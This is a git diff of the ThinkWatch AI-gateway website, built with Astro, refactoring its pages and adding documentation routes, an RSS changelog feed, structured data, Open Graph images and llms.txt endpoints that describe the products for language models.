+export async function coreLd(lang: Lang): Promise { + const c = coreCopy[lang]; + const release = await getLatestCoreRelease(); + const url = pageUrl(lang, "/core"); + const repo = `${GITHUB}/ThinkWatch-Core`; + // The prebuilt binaries of the latest release, without checksums and tarballs. + const binaries = Object.entries(release?.assets ?? {}) + .filter(([name]) => name.startsWith("twcore-") && !/\.(sha256|tar\.gz)$/.test(name)) + .map(([, href]) => href); + return [ + { + "@context": CONTEXT, + "@type": "SoftwareSourceCode", + "@id": ids.coreSource, + name: "ThinkWatch Core", + description: c.meta.description, + codeRepository: repo, + programmingLanguage: "Rust", + license: MIT, + url, + targetProduct: { "@id": ids.twcore }, + author: organizationRef, + }, + { + "@context": CONTEXT, + "@type": "SoftwareApplication", + "@id": ids.twcore, + name: "twcore", + description: required(c.meta.twcoreDescription, `coreCopy["${lang}"].meta.twcoreDescription`), + applicationCategory: "DeveloperApplication", + operatingSystem: "Linux, macOS, Windows", + processorRequirements: processors[lang], + ...(release ? { softwareVersion: release.tag.replace(/^v/, "") } : {}), + url, + installUrl: `${url}#install`, + downloadUrl: binaries.length ? binaries : `${repo}/releases/latest`, + image: abs(ogImagePath("core")), + license: MIT, + offers: free, + ...byOrganization, + }, + ]; +} + +/** Home › page, for pages one level below the home page */ +export function breadcrumbs(lang: Lang, path: string, home: string, name: string): JsonLd { + return { + "@context": CONTEXT, + "@type": "BreadcrumbList", + itemListElement: [ + { "@type": "ListItem", position: 1, name: home, item: pageUrl(lang, "/") }, + { "@type": "ListItem", position: 2, name, item: pageUrl(lang, path) }, + ], + }; +} diff --git a/src/pages/404.astro b/src/pages/404.astro index e77b3cc..0e55b60 100644 --- a/src/pages/404.astro +++ b/src/pages/404.astro @@ -2,48 +2,185 @@ import Base from "~/layouts/Base.astro"; import SiteHeader from "~/components/SiteHeader.astro"; import SiteFooter from "~/components/SiteFooter.astro"; +import { t } from "~/i18n"; + +// GitHub Pages serves one static 404 for every language, so both copies are +// rendered, the site header and footer included, and the inline script below +// shows the one the visitor prefers. +const en = t("en").notFound; +const zh = t("zh-CN").notFound; + +// `path` is the English path; the script prefixes /zh-CN for Chinese visitors. +const links = [ + { path: "/", en: en.home, zh: zh.home, primary: true }, + { path: "/lite", en: en.lite, zh: zh.lite, primary: false }, + { path: "/thinkwatch", en: en.thinkwatch, zh: zh.thinkwatch, primary: false }, + { path: "/core", en: en.core, zh: zh.core, primary: false }, + { path: "/docs", en: en.docs, zh: zh.docs, primary: false }, +]; --- - - -
        -
        - -
        -
        - 404 -
        -

        - This route was not authorized. -

        -

        - The page you were looking for does not exist — or was rate-limited, audited, and dropped at the gateway. -

        - - + + +
        +
        + + +
        +
        + +

        + {en.headline} + +

        +

        + {en.sub} + +

        -
        -$ curl -i https://thinkwat.ch{Astro.url.pathname}
        -HTTP/2 404
        -content-type: text/html
        -x-thinkwatch-audit: 01HQZ-NOT-FOUND
        -
        + +
        + + + +
        +
        - + + + + + diff --git a/src/pages/changelog.xml.ts b/src/pages/changelog.xml.ts index 0f66506..ee3a02e 100644 --- a/src/pages/changelog.xml.ts +++ b/src/pages/changelog.xml.ts @@ -1,21 +1,36 @@ +// RSS feed of the changelog: every release of ThinkWatch Enterprise, ThinkWatch +// Lite and ThinkWatch Core, newest first. A release links to where its notes +// are: this site for the Enterprise releases written up here, GitHub otherwise. import rss from "@astrojs/rss"; -import { getCollection } from "astro:content"; import type { APIContext } from "astro"; +import { changelogCopy } from "~/i18n/pages/changelog"; +import { getChangelog, releaseProductName } from "~/lib/changelog"; export async function GET(context: APIContext) { - const entries = (await getCollection("changelog")).sort( - (a, b) => b.data.date.getTime() - a.data.date.getTime(), - ); + const entries = await getChangelog("en"); + const page = new URL("/changelog/", context.site).href; + // The releases written up here (Enterprise v0.1.0–v0.4.0) were in the feed + // before it covered every product, linked as /changelog#v0.4.0. They keep + // that link, and with it their guid, so that readers do not show them again + // as new items; the page still has those anchors. + const writtenUp = new URL("/changelog", context.site).href; return rss({ - title: "ThinkWatch Changelog", - description: "Release notes and updates for ThinkWatch.", - site: context.site!, - items: entries.map((entry) => ({ - title: `v${entry.data.version} — ${entry.data.title}`, - pubDate: entry.data.date, - description: entry.data.highlights?.join(" · ") ?? entry.data.title, - link: `/changelog#v${entry.data.version}`, - })), + title: "ThinkWatch release notes", + description: changelogCopy.en.meta.description, + // The channel links to the changelog page. + site: page, + customData: "en", + items: entries.map((entry) => { + const name = releaseProductName(entry.product, "en"); + const notes = entry.notes?.data; + return { + title: notes ? `${name} ${entry.tag} — ${notes.title}` : `${name} ${entry.tag}`, + pubDate: entry.date, + link: notes ? `${writtenUp}#${entry.legacyId!}` : entry.url!, + ...(notes ? { description: notes.highlights?.join(" · ") ?? notes.title } : {}), + categories: [name], + }; + }), }); } diff --git a/src/pages/changelog/index.astro b/src/pages/changelog/index.astro index a64f04e..70e135e 100644 --- a/src/pages/changelog/index.astro +++ b/src/pages/changelog/index.astro @@ -1,172 +1,6 @@ --- -import { getCollection, render } from "astro:content"; -import Base from "~/layouts/Base.astro"; -import SiteHeader from "~/components/SiteHeader.astro"; -import SiteFooter from "~/components/SiteFooter.astro"; -import { getLang } from "~/i18n"; - -const lang = getLang(Astro); -const isZh = lang === "zh-CN"; - -const entries = (await getCollection("changelog")).sort( - (a, b) => b.data.date.getTime() - a.data.date.getTime(), -); - -const typeStyles: Record = { - release: "bg-cyan-500/15 text-cyan-300 border-cyan-500/30", - feature: "bg-violet-500/15 text-violet-300 border-violet-500/30", - fix: "bg-emerald-500/15 text-emerald-300 border-emerald-500/30", - security: "bg-pink-500/15 text-pink-300 border-pink-500/30", -}; - -const fmt = new Intl.DateTimeFormat(isZh ? "zh-CN" : "en-US", { - year: "numeric", - month: isZh ? "long" : "short", - day: "numeric", -}); - -const labels = isZh - ? { - eyebrow: "更新日志", - title: ["最新", "发布"], - sub: "每个发布版本的发布说明。可通过 ", - subRss: " 订阅。", - filterAll: "全部", - filterRelease: "发布", - filterFeature: "新功能", - filterFix: "修复", - filterSecurity: "安全", - } - : { - eyebrow: "Changelog", - title: ["What's", "new"], - sub: "Release notes for every shipped version. Subscribe via ", - subRss: ".", - filterAll: "All", - filterRelease: "Release", - filterFeature: "Feature", - filterFix: "Fix", - filterSecurity: "Security", - }; - -const filterTypes = [ - { id: "all", label: labels.filterAll }, - { id: "release", label: labels.filterRelease }, - { id: "feature", label: labels.filterFeature }, - { id: "fix", label: labels.filterFix }, - { id: "security", label: labels.filterSecurity }, -]; +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import ChangelogPage from "~/components/pages/ChangelogPage.astro"; --- - - -
        -
        -
        - {labels.eyebrow} -
        -

        - {labels.title[0]} {labels.title[1]} -

        -

        - {labels.sub} - RSS{labels.subRss} -

        -
        - -
        - {filterTypes.map((f, i) => ( - - ))} -
        - -
          - {entries.map(async (entry) => { - const { Content } = await render(entry); - return ( -
        1. - - -
          - v{entry.data.version} - - {entry.data.type} - - -
          - -

          {entry.data.title}

          - - {entry.data.highlights && ( -
            - {entry.data.highlights.map((h) => ( -
          • - - {h} -
          • - ))} -
          - )} - -
          - -
          -
        2. - ); - })} -
        -
        - - - - - - + diff --git a/src/pages/core.astro b/src/pages/core.astro new file mode 100644 index 0000000..2fa6736 --- /dev/null +++ b/src/pages/core.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import CorePage from "~/components/pages/CorePage.astro"; +--- + + diff --git a/src/pages/docs/[...slug].astro b/src/pages/docs/[...slug].astro new file mode 100644 index 0000000..7342484 --- /dev/null +++ b/src/pages/docs/[...slug].astro @@ -0,0 +1,13 @@ +--- +// ThinkWatch guides: /docs/. Lite and Core live under their own folders. +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getArticlePaths } from "~/pages/docs/_lib"; + +export async function getStaticPaths() { + return getArticlePaths("thinkwatch", "en"); +} + +const { entry, slug } = Astro.props; +--- + + diff --git a/src/pages/docs/_DocArticle.astro b/src/pages/docs/_DocArticle.astro new file mode 100644 index 0000000..5697fe3 --- /dev/null +++ b/src/pages/docs/_DocArticle.astro @@ -0,0 +1,173 @@ +--- +import { productName } from "~/content/docs/_meta"; +// Renders one markdown doc (or a product's docs home) inside DocsLayout, +// with localized title, BreadcrumbList and TechArticle JSON-LD. +import { render } from "astro:content"; +import DocsLayout from "~/layouts/DocsLayout.astro"; +import ImportLinkBuilder from "~/components/ImportLinkBuilder.astro"; +import { docHref, getNeighbours, getProduct, productHomeHref, type ProductId } from "~/content/docs/_meta"; +import { localePath, type Lang } from "~/i18n"; +import { CORE_REPO } from "~/lib/core-docs.mjs"; +import { firstPublished, lastModified } from "~/lib/lastmod"; +import { docsOgCard, ogImagePath } from "~/lib/og"; +import { organizationRef } from "~/lib/structured-data"; +import { faqPage } from "~/lib/faq"; +import type { DocsEntry } from "./_lib"; + +interface Props { + lang: Lang; + product: ProductId; + /** Doc slug, or "" for the product's docs home */ + slug: string; + entry: DocsEntry; +} + +const { lang, product, slug, entry } = Astro.props; +const zh = lang === "zh-CN"; +const p = getProduct(product); +const meta = p.docs.find((d) => d.slug === slug); +const { Content, headings } = await render(entry); +const { prev, next } = getNeighbours(product, slug, lang); + +const docLabel = meta?.label[lang] ?? slug; +// A guide's own title is the question people search for: it names the product +// itself or is followed by it, in place of the shorter sidebar label. +const ownTitle = meta?.title?.[lang]; +const title = ownTitle + ? ownTitle.includes(p.name) + ? ownTitle + : `${ownTitle} · ${p.name}` + : `${docLabel} · ${productName(p, lang)} ${zh ? "文档" : "Docs"}`; +const description = meta?.summary?.[lang] ?? p.tagline[lang]; + +// A document published from the Core repository: edited there, and credited +// to the file and release it was taken from. +const synced = entry.collection === "docs_core_synced" ? entry.data : undefined; +const editUrl = synced && `https://github.com/${CORE_REPO}/blob/main/${synced.source}`; +const sourceUrl = synced && `https://github.com/${CORE_REPO}/blob/${synced.ref}/${synced.source}`; + +// From git history: when the markdown file (for a synced document, its +// committed copy) was added and last changed. +const sources = entry.filePath ? [entry.filePath] : []; +const published = firstPublished(sources); +const modified = lastModified(sources); + +const site = Astro.site ?? new URL("https://thinkwat.ch"); +const abs = (path: string) => new URL(path.endsWith("/") ? path : `${path}/`, site).toString(); +const pageUrl = new URL(Astro.url.pathname, site).toString(); + +// Home › Documentation › product › doc. +const crumbs = [ + { name: zh ? "首页" : "Home", item: abs(localePath(lang, "/")) }, + { name: zh ? "文档" : "Documentation", item: abs(localePath(lang, "/docs")) }, + { name: productName(p, lang), item: slug ? abs(productHomeHref(lang, product)) : pageUrl }, + ...(slug ? [{ name: docLabel, item: pageUrl }] : []), +]; + +const jsonLd: Record[] = [ + { + "@context": "https://schema.org", + "@type": "BreadcrumbList", + itemListElement: crumbs.map((c, i) => ({ "@type": "ListItem", position: i + 1, name: c.name, item: c.item })), + }, + { + "@context": "https://schema.org", + "@type": "TechArticle", + headline: slug ? (ownTitle ?? docLabel) : `${productName(p, lang)} ${zh ? "文档" : "documentation"}`, + description, + inLanguage: lang, + url: pageUrl, + ...(published ? { datePublished: published } : {}), + ...(modified ? { dateModified: modified } : {}), + image: new URL(ogImagePath(docsOgCard[product]), site).toString(), + // The product pages are /thinkwatch, /lite and /core. + about: { "@type": "SoftwareApplication", name: productName(p, lang), url: abs(localePath(lang, `/${p.id}`)) }, + author: organizationRef, + publisher: organizationRef, + }, +]; + +// The FAQ also carries FAQPage structured data, built from its own headings. +const faq = slug === "faq" && entry.body ? faqPage(entry.body, lang) : null; +if (faq) jsonLd.push(faq); + +// On a product's docs home, list the rest of its docs below the overview. The +// guides are in the sidebar only, so the home keeps its few cards. +const homeCards = slug ? [] : p.docs.filter((d) => d.slug && d.group !== "guides"); +--- + + + + +
        + {/* The "Import links" page ends with its link builder, which a markdown file cannot hold */} + {product === "lite" && slug === "import-links" && } + {synced && ( +

        + {zh ? "本页取自 ThinkWatch Core 仓库 " : "This page is published from "} + {synced.source} + {zh ? `(${synced.ref})。` : ` in the ThinkWatch Core repository, at ${synced.ref}.`} +

        + )} + {homeCards.length > 0 && ( + + )} +
        +
        + + diff --git a/src/pages/docs/_DocsHome.astro b/src/pages/docs/_DocsHome.astro new file mode 100644 index 0000000..cd81cae --- /dev/null +++ b/src/pages/docs/_DocsHome.astro @@ -0,0 +1,228 @@ +--- +import { productName } from "~/content/docs/_meta"; +// Documentation home (/docs, /zh-CN/docs): a short hero with search across +// every product, one tile per product listing its docs, then other resources. +// It is also ThinkWatch Enterprise's docs home ("Overview" in its sidebar). +import DocsLayout from "~/layouts/DocsLayout.astro"; +import { docHref, products, productHomeHref } from "~/content/docs/_meta"; +import { localePath, type Lang } from "~/i18n"; + +interface Props { + lang: Lang; +} + +const { lang } = Astro.props; +const zh = lang === "zh-CN"; + +const copy = zh + ? { + title: "文档 · ThinkWatch", + description: + "ThinkWatch 企业版、Lite 与 Core 的文档:架构、部署、配置、API 参考、安全模型、桌面应用与共享核心。", + label: "文档", + h1a: "ThinkWatch ", + h1b: "文档", + intro: + "三个产品分别提供文档:面向组织的 ThinkWatch 企业版;桌面应用 ThinkWatch Lite,在本机运行网关,也可以连接服务器上的 ThinkWatch Core;以及 ThinkWatch Core,即 ThinkWatch Lite 所基于的网关引擎与 Rust crate,ThinkWatch 企业版也使用其中的四个 crate。", + search: "搜索全部文档", + open: (name: string) => `进入 ${name} 文档`, + more: "其他资源", + resources: [ + { href: "https://github.com/ThinkWatchProject", title: "GitHub", text: "三个产品的源码、Issues 与 Release。" }, + { href: localePath(lang, "/changelog"), title: "更新日志", text: "各发布版本的变更记录。" }, + { + href: "https://github.com/ThinkWatchProject/ThinkWatch/blob/main/LICENSING.md", + title: "LICENSING.md", + text: "ThinkWatch 企业版的生产环境阈值与商业授权。", + }, + ], + } + : { + title: "Documentation · ThinkWatch", + description: + "Documentation for ThinkWatch Enterprise, ThinkWatch Lite and ThinkWatch Core: architecture, deployment, configuration, API reference and security.", + label: "Documentation", + h1a: "ThinkWatch ", + h1b: "documentation", + intro: + "Documentation is provided for three products: ThinkWatch Enterprise, for organizations; ThinkWatch Lite, a desktop application that runs the gateway locally or connects to ThinkWatch Core on a server; and ThinkWatch Core, the gateway engine and Rust crates that ThinkWatch Lite is built on, four of which ThinkWatch Enterprise also uses.", + search: "Search all docs", + open: (name: string) => `Open ${name} docs`, + more: "Additional resources", + resources: [ + { href: "https://github.com/ThinkWatchProject", title: "GitHub", text: "Source, issues and releases for all three products." }, + { href: localePath(lang, "/changelog"), title: "Changelog", text: "Release notes for each version." }, + { + href: "https://github.com/ThinkWatchProject/ThinkWatch/blob/main/LICENSING.md", + title: "LICENSING.md", + text: "Production thresholds and commercial tiers for ThinkWatch Enterprise.", + }, + ], + }; +--- + + +
        +

        {copy.label}

        +

        {copy.h1a}{copy.h1b}

        +

        {copy.intro}

        + +
        + +
        + {products.map((p, i) => { + const docs = p.docs.filter((d) => d.slug); + return ( +
        +

        + {productName(p, lang)} +

        +

        {p.tagline[lang]}

        + + {copy.open(productName(p, lang))} +
        + ); + })} +
        + +
        +

        {copy.more}

        +
        + {copy.resources.map((r) => ( + + {r.title} + {r.text} + + ))} +
        +
        +
        + + diff --git a/src/pages/docs/_lib.ts b/src/pages/docs/_lib.ts new file mode 100644 index 0000000..1d3ce48 --- /dev/null +++ b/src/pages/docs/_lib.ts @@ -0,0 +1,58 @@ +// Shared helpers for the docs routes. Files prefixed with "_" are not routes. + +import { getCollection, type CollectionEntry } from "astro:content"; +import type { Lang } from "~/i18n"; +import type { ProductId } from "~/content/docs/_meta"; + +export type DocsEntry = + | CollectionEntry<"docs"> + | CollectionEntry<"docs_lite"> + | CollectionEntry<"docs_core"> + | CollectionEntry<"docs_core_synced">; + +const collectionFor = { thinkwatch: "docs", lite: "docs_lite", core: "docs_core" } as const; + +/** Markdown file rendered as each product's docs home. */ +export const HOME_ENTRY = "overview"; + +/** + * Path segments under /docs owned by other routes (the Lite and Core docs, and + * ThinkWatch Enterprise's overview). ThinkWatch guides are served by + * docs/[...slug].astro, so these must never be generated there. + */ +export const RESERVED_SLUGS = ["lite", "core", HOME_ENTRY]; + +export async function getProductEntries(product: ProductId, lang: Lang) { + const all: DocsEntry[] = [ + ...((await getCollection(collectionFor[product])) as DocsEntry[]), + // Core also publishes documents whose text lives in the Core repository. + ...(product === "core" ? await getCollection("docs_core_synced") : []), + ]; + // The glob loader lowercases ids, e.g. "zh-cn/architecture". + const prefix = lang === "zh-CN" ? "zh-cn/" : "en/"; + const entries = all + .filter((entry) => entry.id.toLowerCase().startsWith(prefix)) + .map((entry) => ({ entry, slug: entry.id.slice(prefix.length).replace(/\.md$/, "") })); + const taken = new Set(); + for (const { slug } of entries) { + if (taken.has(slug)) throw new Error(`[docs] two ${product} ${lang} documents have the slug "${slug}"`); + taken.add(slug); + } + return entries; +} + +/** getStaticPaths() result for a product's articles (the docs home excluded). */ +export async function getArticlePaths(product: ProductId, lang: Lang) { + const entries = await getProductEntries(product, lang); + return entries + .filter(({ slug }) => (product === "thinkwatch" ? !RESERVED_SLUGS.includes(slug) : slug !== HOME_ENTRY)) + .map(({ entry, slug }) => ({ params: { slug }, props: { entry, slug } })); +} + +/** The markdown entry rendered as a product's docs home. */ +export async function getHomeEntry(product: ProductId, lang: Lang): Promise { + const entries = await getProductEntries(product, lang); + const home = entries.find(({ slug }) => slug === HOME_ENTRY); + if (!home) throw new Error(`[docs] missing ${product} ${lang}/${HOME_ENTRY}.md`); + return home.entry; +} diff --git a/src/pages/docs/core/[slug].astro b/src/pages/docs/core/[slug].astro new file mode 100644 index 0000000..1e5a6f9 --- /dev/null +++ b/src/pages/docs/core/[slug].astro @@ -0,0 +1,12 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getArticlePaths } from "~/pages/docs/_lib"; + +export async function getStaticPaths() { + return getArticlePaths("core", "en"); +} + +const { entry, slug } = Astro.props; +--- + + diff --git a/src/pages/docs/core/index.astro b/src/pages/docs/core/index.astro new file mode 100644 index 0000000..08a984f --- /dev/null +++ b/src/pages/docs/core/index.astro @@ -0,0 +1,8 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getHomeEntry } from "~/pages/docs/_lib"; + +const entry = await getHomeEntry("core", "en"); +--- + + diff --git a/src/pages/docs/index.astro b/src/pages/docs/index.astro new file mode 100644 index 0000000..4b942ba --- /dev/null +++ b/src/pages/docs/index.astro @@ -0,0 +1,5 @@ +--- +import DocsHome from "~/pages/docs/_DocsHome.astro"; +--- + + diff --git a/src/pages/docs/lite/[slug].astro b/src/pages/docs/lite/[slug].astro new file mode 100644 index 0000000..124ba5a --- /dev/null +++ b/src/pages/docs/lite/[slug].astro @@ -0,0 +1,12 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getArticlePaths } from "~/pages/docs/_lib"; + +export async function getStaticPaths() { + return getArticlePaths("lite", "en"); +} + +const { entry, slug } = Astro.props; +--- + + diff --git a/src/pages/docs/lite/index.astro b/src/pages/docs/lite/index.astro new file mode 100644 index 0000000..983e0d6 --- /dev/null +++ b/src/pages/docs/lite/index.astro @@ -0,0 +1,8 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getHomeEntry } from "~/pages/docs/_lib"; + +const entry = await getHomeEntry("lite", "en"); +--- + + diff --git a/src/pages/docs/overview.astro b/src/pages/docs/overview.astro new file mode 100644 index 0000000..3616772 --- /dev/null +++ b/src/pages/docs/overview.astro @@ -0,0 +1,10 @@ +--- +// ThinkWatch Enterprise's docs home. Its guides are /docs/; /docs is the +// documentation home for all three products. +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getHomeEntry } from "~/pages/docs/_lib"; + +const entry = await getHomeEntry("thinkwatch", "en"); +--- + + diff --git a/src/pages/import.astro b/src/pages/import.astro new file mode 100644 index 0000000..7f67b64 --- /dev/null +++ b/src/pages/import.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import ImportPage from "~/components/pages/ImportPage.astro"; +--- + + diff --git a/src/pages/index.astro b/src/pages/index.astro index 86b2b2b..177e087 100644 --- a/src/pages/index.astro +++ b/src/pages/index.astro @@ -1,30 +1,5 @@ --- -import Base from "~/layouts/Base.astro"; -import SiteHeader from "~/components/SiteHeader.astro"; -import SiteFooter from "~/components/SiteFooter.astro"; -import Hero from "~/components/sections/Hero.astro"; -import CompatibleWith from "~/components/sections/CompatibleWith.astro"; -import Problem from "~/components/sections/Problem.astro"; -import HowItWorks from "~/components/sections/HowItWorks.astro"; -import FeaturesSection from "~/components/sections/FeaturesSection.astro"; -import LivePanels from "~/components/sections/LivePanels.astro"; -import QuickStart from "~/components/sections/QuickStart.astro"; -import License from "~/components/sections/License.astro"; -import StarHistory from "~/components/sections/StarHistory.astro"; +import HomePage from "~/components/pages/HomePage.astro"; --- - - -
        - - - - - - - - - -
        - - + diff --git a/src/pages/lite.astro b/src/pages/lite.astro new file mode 100644 index 0000000..d1b02c7 --- /dev/null +++ b/src/pages/lite.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import LitePage from "~/components/pages/LitePage.astro"; +--- + + diff --git a/src/pages/llms-full.txt.ts b/src/pages/llms-full.txt.ts new file mode 100644 index 0000000..b2fa742 --- /dev/null +++ b/src/pages/llms-full.txt.ts @@ -0,0 +1,26 @@ +// /llms-full.txt: the English documentation of ThinkWatch Lite and ThinkWatch +// Core in one plain-text file, in sidebar order, each document headed by its +// title and address. /llms.txt is the short map of the site. +import type { APIContext } from "astro"; +import { docHref, getProduct, type ProductId } from "~/content/docs/_meta"; +import { getProductEntries, HOME_ENTRY } from "~/pages/docs/_lib"; + +async function productText(id: ProductId, site: URL): Promise { + const product = getProduct(id); + const entries = await getProductEntries(id, "en"); + const parts: string[] = []; + for (const doc of product.docs.filter((d) => d.locales.includes("en"))) { + const found = entries.find(({ slug }) => slug === (doc.slug || HOME_ENTRY)); + const text = found?.entry.body?.trim(); + if (!text) continue; + const url = new URL(docHref("en", id, doc), site).href.replace(/\/?$/, "/"); + parts.push(`# ${product.name}: ${doc.label.en}\n\nSource: ${url}\n\n${text}`); + } + return parts.join("\n\n---\n\n"); +} + +export async function GET(context: APIContext) { + const site = context.site!; + const body = [await productText("lite", site), await productText("core", site)].join("\n\n---\n\n") + "\n"; + return new Response(body, { headers: { "Content-Type": "text/plain; charset=utf-8" } }); +} diff --git a/src/pages/llms.txt.ts b/src/pages/llms.txt.ts new file mode 100644 index 0000000..5bf5a70 --- /dev/null +++ b/src/pages/llms.txt.ts @@ -0,0 +1,64 @@ +// /llms.txt: a plain-text map of the site for language models and the AI search +// engines that read it (https://llmstxt.org). The facts are short and stated +// once; each documentation entry links to its page. /llms-full.txt carries the +// full text of the ThinkWatch Lite and ThinkWatch Core documentation. +import type { APIContext } from "astro"; +import { docHref, getProduct, type ProductId } from "~/content/docs/_meta"; + +function docList(id: ProductId, site: URL): string { + return getProduct(id) + .docs.filter((d) => d.locales.includes("en")) + .map((d) => { + const url = new URL(docHref("en", id, d), site).href.replace(/\/?$/, "/"); + return d.summary?.en ? `- [${d.label.en}](${url}): ${d.summary.en}` : `- [${d.label.en}](${url})`; + }) + .join("\n"); +} + +export function GET(context: APIContext) { + const site = context.site!; + const at = (path: string) => new URL(path, site).href; + const body = `# ThinkWatch + +> AI gateways that route, inspect and meter model requests and MCP tool calls. ThinkWatch Lite is an MIT-licensed desktop app that runs a local gateway for Claude Code, Codex and other AI clients; ThinkWatch Enterprise is a self-hosted gateway for organizations; ThinkWatch Core is the MIT-licensed gateway engine both are built on. + +## ThinkWatch Lite + +ThinkWatch Lite runs a local AI API gateway on macOS (Apple silicon), Windows (x64, ARM64) and Linux (AppImage). Source: https://github.com/ThinkWatchProject/ThinkWatch-Lite (MIT). + +- Connects twelve clients to the gateway in one step, showing the change and backing up the original file: Claude Code, Claude Desktop, Codex (including the Codex in the ChatGPT desktop app), opencode, Zed, Aider, DeepSeek Harness, Pi, oh-my-pi, Grok Build, Qwen Code and Hermes Agent. Cursor, Continue and Antigravity CLI have manual setup steps. +- After that, upstreams and models change inside the gateway; client configuration files are not edited again and clients do not restart. +- Converts between the Anthropic Messages, OpenAI Chat Completions, OpenAI Responses and Gemini APIs, so Claude Code can use GPT or Gemini models and Codex can use upstreams that only offer Chat Completions. +- Upstreams: API keys for Anthropic, OpenAI, Gemini, DeepSeek, Amazon Bedrock and any compatible API, relays such as OpenRouter, local models such as Ollama, and ChatGPT or Z.ai accounts signed in from the app. +- Routing rules match on model, token count, tools, images and extended thinking, and can rewrite the model name. Strategy groups: in order (failover), round robin with session affinity, lowest latency, lowest cost, manual selection. +- Every request records its cost, tokens, cache hits, time to first token, generation speed, the rule it matched, each upstream it tried, and the full request and response. +- Before a request leaves, API keys, tokens, private keys, ID numbers and card numbers can be replaced with placeholders, so a relay does not receive them. Tool calls that download and run code or send out credentials can be cut off mid-stream. MCP servers, skills and hooks are scanned. +- Claude Pro and Max subscriptions cannot be used through the gateway; Claude Code needs an API key or a relay. +- Install on macOS: \`brew install --cask thinkwatchproject/tap/thinkwatch-lite\`. Downloads for every platform: ${at("/lite/#install")} + +- [ThinkWatch Lite product page](${at("/lite/")}) +${docList("lite", site)} + +## ThinkWatch Core + +The gateway engine shared by ThinkWatch Lite and ThinkWatch Enterprise: Rust crates and the twcore binary, which also runs on its own on a Linux server that ThinkWatch Lite manages remotely. Source: https://github.com/ThinkWatchProject/ThinkWatch-Core (MIT). + +- [ThinkWatch Core product page](${at("/core/")}) +${docList("core", site)} + +## ThinkWatch Enterprise + +A self-hosted AI API and MCP gateway for organizations, with a web console: single sign-on through OIDC, role-based access, virtual API keys, per-user MCP identity, limits and budgets, and audit logs. Deployed with Docker Compose or Kubernetes. Source: https://github.com/ThinkWatchProject/ThinkWatch (Business Source License 1.1). + +- [ThinkWatch Enterprise product page](${at("/thinkwatch/")}) +${docList("thinkwatch", site)} + +## Optional + +- [Pricing and licensing](${at("/pricing/")}) +- [Changelog](${at("/changelog/")}): release notes of all three products +- [Full text of the Lite and Core documentation](${at("/llms-full.txt")}) +- [Simplified Chinese site](${at("/zh-CN/")}) +`; + return new Response(body, { headers: { "Content-Type": "text/plain; charset=utf-8" } }); +} diff --git a/src/pages/og/[card].png.ts b/src/pages/og/[card].png.ts new file mode 100644 index 0000000..d4da3e5 --- /dev/null +++ b/src/pages/og/[card].png.ts @@ -0,0 +1,11 @@ +// The Open Graph images, one PNG per card, rendered when the site is built. +// What goes on a card, and how it is drawn, is in src/lib/og.ts. +import type { APIRoute, GetStaticPaths } from "astro"; +import { ogCards, renderOgImage, type OgCard } from "~/lib/og"; + +export const getStaticPaths = (() => ogCards.map((card) => ({ params: { card } }))) satisfies GetStaticPaths; + +export const GET: APIRoute = async ({ params }) => { + const png = await renderOgImage(params.card as OgCard); + return new Response(new Uint8Array(png), { headers: { "Content-Type": "image/png" } }); +}; diff --git a/src/pages/og/github/[card].png.ts b/src/pages/og/github/[card].png.ts new file mode 100644 index 0000000..d5bbda6 --- /dev/null +++ b/src/pages/og/github/[card].png.ts @@ -0,0 +1,12 @@ +// The social previews of the GitHub repositories, one PNG per card, rendered +// when the site is built. What goes on them, and which repository each one is +// for, is in src/lib/og.ts. +import type { APIRoute, GetStaticPaths } from "astro"; +import { ogCards, renderGithubPreview, type OgCard } from "~/lib/og"; + +export const getStaticPaths = (() => ogCards.map((card) => ({ params: { card } }))) satisfies GetStaticPaths; + +export const GET: APIRoute = async ({ params }) => { + const png = await renderGithubPreview(params.card as OgCard); + return new Response(new Uint8Array(png), { headers: { "Content-Type": "image/png" } }); +}; diff --git a/src/pages/pricing.astro b/src/pages/pricing.astro new file mode 100644 index 0000000..50e66cc --- /dev/null +++ b/src/pages/pricing.astro @@ -0,0 +1,5 @@ +--- +import PricingPage from "~/components/pages/PricingPage.astro"; +--- + + diff --git a/src/pages/thinkwatch.astro b/src/pages/thinkwatch.astro new file mode 100644 index 0000000..261a1ee --- /dev/null +++ b/src/pages/thinkwatch.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import ThinkWatchPage from "~/components/pages/ThinkWatchPage.astro"; +--- + + diff --git a/src/pages/zh-CN/changelog/index.astro b/src/pages/zh-CN/changelog/index.astro index 89598c2..70e135e 100644 --- a/src/pages/zh-CN/changelog/index.astro +++ b/src/pages/zh-CN/changelog/index.astro @@ -1,145 +1,6 @@ --- -// Re-uses the locale-aware /changelog page; Astro routes /zh-CN/changelog -// here. Importing the same module would duplicate the route, so we -// inline the same content with the locale already set by URL. -import { getCollection, render } from "astro:content"; -import Base from "~/layouts/Base.astro"; -import SiteHeader from "~/components/SiteHeader.astro"; -import SiteFooter from "~/components/SiteFooter.astro"; - -const entries = (await getCollection("changelog")).sort( - (a, b) => b.data.date.getTime() - a.data.date.getTime(), -); - -const typeStyles: Record = { - release: "bg-cyan-500/15 text-cyan-300 border-cyan-500/30", - feature: "bg-violet-500/15 text-violet-300 border-violet-500/30", - fix: "bg-emerald-500/15 text-emerald-300 border-emerald-500/30", - security: "bg-pink-500/15 text-pink-300 border-pink-500/30", -}; - -const fmt = new Intl.DateTimeFormat("zh-CN", { - year: "numeric", - month: "long", - day: "numeric", -}); - -const filterTypes = [ - { id: "all", label: "全部" }, - { id: "release", label: "发布" }, - { id: "feature", label: "新功能" }, - { id: "fix", label: "修复" }, - { id: "security", label: "安全" }, -]; +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import ChangelogPage from "~/components/pages/ChangelogPage.astro"; --- - - -
        -
        -
        - 更新日志 -
        -

        - 最新 发布 -

        -

        - 每个发布版本的发布说明。可通过 - RSS - 订阅。 -

        -
        - -
